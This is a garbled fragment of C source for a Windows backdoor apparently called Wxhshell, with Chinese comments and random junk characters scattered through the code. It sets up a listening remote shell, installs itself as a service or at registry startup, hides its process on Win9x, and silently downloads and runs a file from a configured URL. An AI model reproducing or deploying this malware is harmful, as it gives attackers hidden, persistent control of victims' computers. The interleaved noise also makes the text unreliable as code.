_=@9XvNM HMODULE hMod; $$8xdv# char procName[255]; k @'85A` unsigned long cbNeeded; Ym6zNb8
bQ L/9f"%kZ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gn"_()8cT |r_S2)zH9m CloseHandle(hProcess); e!wBNcG2 f.,ozL3* if(strstr(procName,"services")) return 1; // 以服务启动 x"0*U9f wQiRj. return 0; // 注册表启动 Z[:fqvXQ } s8iJl+Jm
L>Bf}^ // 主模块 r2H_)Oi int StartWxhshell(LPSTR lpCmdLine) ~$} `R= { :{<( )gfk SOCKET wsl; W_( BOOL val=TRUE; -~T? xs0_ int port=0; fbp6lE struct sockaddr_in door; Av[L,4A 4{H>V_9zs if(wscfg.ws_autoins) Install(); =BO} hk p|VoIQY port=atoi(lpCmdLine); DPR=Xls Cn4o^6? " if(port<=0) port=wscfg.ws_port; eKV^ia NltEX14Af WSADATA data; U{n< n8 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KA1Z{7UK% r
J'm>&Ps if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; vB(tpki| setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eED Fm door.sin_family = AF_INET; aV`4M VWOz door.sin_addr.s_addr = inet_addr("127.0.0.1"); \v.16o bH door.sin_port = htons(port); o<2H~2/ odAeBQy if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QU0K'4Yx5j closesocket(wsl); GGHe{l return 1; n)$T
zND } ) 9h5a+Z ':6!f if(listen(wsl,2) == INVALID_SOCKET) { gHc0n0ZV closesocket(wsl); 5]n5nqz return 1; c%Ht;
sK`* } JI-q4L| Wxhshell(wsl); 2@WF]*Z WSACleanup(); `h+ia/ wlr/zquAE9 return 0; R:HF~} cd,)GF } s\g"~2+ gd3~R+Kd // 以NT服务方式启动 `ro~l_U;A VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ldqg2c { xv;'27mUt DWORD status = 0; 7kapa59 DWORD specificError = 0xfffffff; <wV?B9j ]F
kLtq serviceStatus.dwServiceType = SERVICE_WIN32; Ym
IVtQ serviceStatus.dwCurrentState = SERVICE_START_PENDING; XUeBK/aQ{ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; g}nlb.b]{m serviceStatus.dwWin32ExitCode = 0; LO{{3No serviceStatus.dwServiceSpecificExitCode = 0; 7A@GNA serviceStatus.dwCheckPoint = 0; 0X =Yly*m@ serviceStatus.dwWaitHint = 0; & xOEp GQ~wx1jj1 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $OU,| D if (hServiceStatusHandle==0) return; ZnDI
J&S _r0[ z status = GetLastError(); y\7 -! if (status!=NO_ERROR) vL~nJv { - `^594 serviceStatus.dwCurrentState = SERVICE_STOPPED; P}B{FIpNG serviceStatus.dwCheckPoint = 0; =jZ}@L/+ serviceStatus.dwWaitHint = 0; )Cl!, m)~ serviceStatus.dwWin32ExitCode = status; NU>={9! serviceStatus.dwServiceSpecificExitCode = specificError; u'}SaX]0 SetServiceStatus(hServiceStatusHandle, &serviceStatus); m3zmyw} return; CC,_I>t } :^".cs?g luD.3&0n serviceStatus.dwCurrentState = SERVICE_RUNNING; W.b?MPy] serviceStatus.dwCheckPoint = 0; b,U"N-6 serviceStatus.dwWaitHint = 0; ./nq*4= if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
QV/o; } WO{V,<; hd*bPj; // 处理NT服务事件,比如:启动、停止 Cisv**9 VOID WINAPI NTServiceHandler(DWORD fdwControl) $oKT-G { <RzGxhT switch(fdwControl) eZ+pZ q { n<47#- case SERVICE_CONTROL_STOP: w~EBm=v_> serviceStatus.dwWin32ExitCode = 0; 1"k"<{% serviceStatus.dwCurrentState = SERVICE_STOPPED; yxq+<A4,a serviceStatus.dwCheckPoint = 0; \]pRu" serviceStatus.dwWaitHint = 0; ;ew j { <:=}1t.Z SetServiceStatus(hServiceStatusHandle, &serviceStatus); B;f\H,/59 } U_!Wg| return; QRbiO case SERVICE_CONTROL_PAUSE: PYWp2V/ serviceStatus.dwCurrentState = SERVICE_PAUSED; X1Vx6+[ break; $*EK
v'g[n case SERVICE_CONTROL_CONTINUE: d$~q serviceStatus.dwCurrentState = SERVICE_RUNNING; \ci'Cbn\o break; C"
vj#Tx case SERVICE_CONTROL_INTERROGATE: ox9$aBjJ break; O_@ }; Qu4Bd|`(k SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~RdJP'YF- } -olD!zKS oCD#Gmr // 标准应用程序主函数 `uL^!- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -yKx"Q9F { yhnhORSY; 6
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I // 获取操作系统版本 >|h$d:~n OsIsNt=GetOsVer(); 8BP.VxX GetModuleFileName(NULL,ExeFile,MAX_PATH); YCJc Dab {s^vAD<~x3 // 从命令行安装 s~OGlPK if(strpbrk(lpCmdLine,"iI")) Install(); uA]Z" yk
r5bS // 下载执行文件 g *}M;"
if(wscfg.ws_downexe) { Imi;EHW if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |#hj O3 WinExec(wscfg.ws_filenam,SW_HIDE); GF(<!PC } 9X<o8^V Z!\xVCG"q if(!OsIsNt) { 8}9B*m // 如果时win9x,隐藏进程并且设置为注册表启动 &fH;A X. HideProc(); tNsiokOm StartWxhshell(lpCmdLine); <\i}zoPO } vU5a`0mH else vFuf{ @P if(StartFromService()) Z)=S. ) // 以服务方式启动 ')!+>b(P StartServiceCtrlDispatcher(DispatchTable); F$[1KjS else 2flgfB}2k // 普通方式启动 )3h%2C1uM StartWxhshell(lpCmdLine); M'Fa[n*b?! 3Yu1ZuIR return 0; A6D.bJ) }
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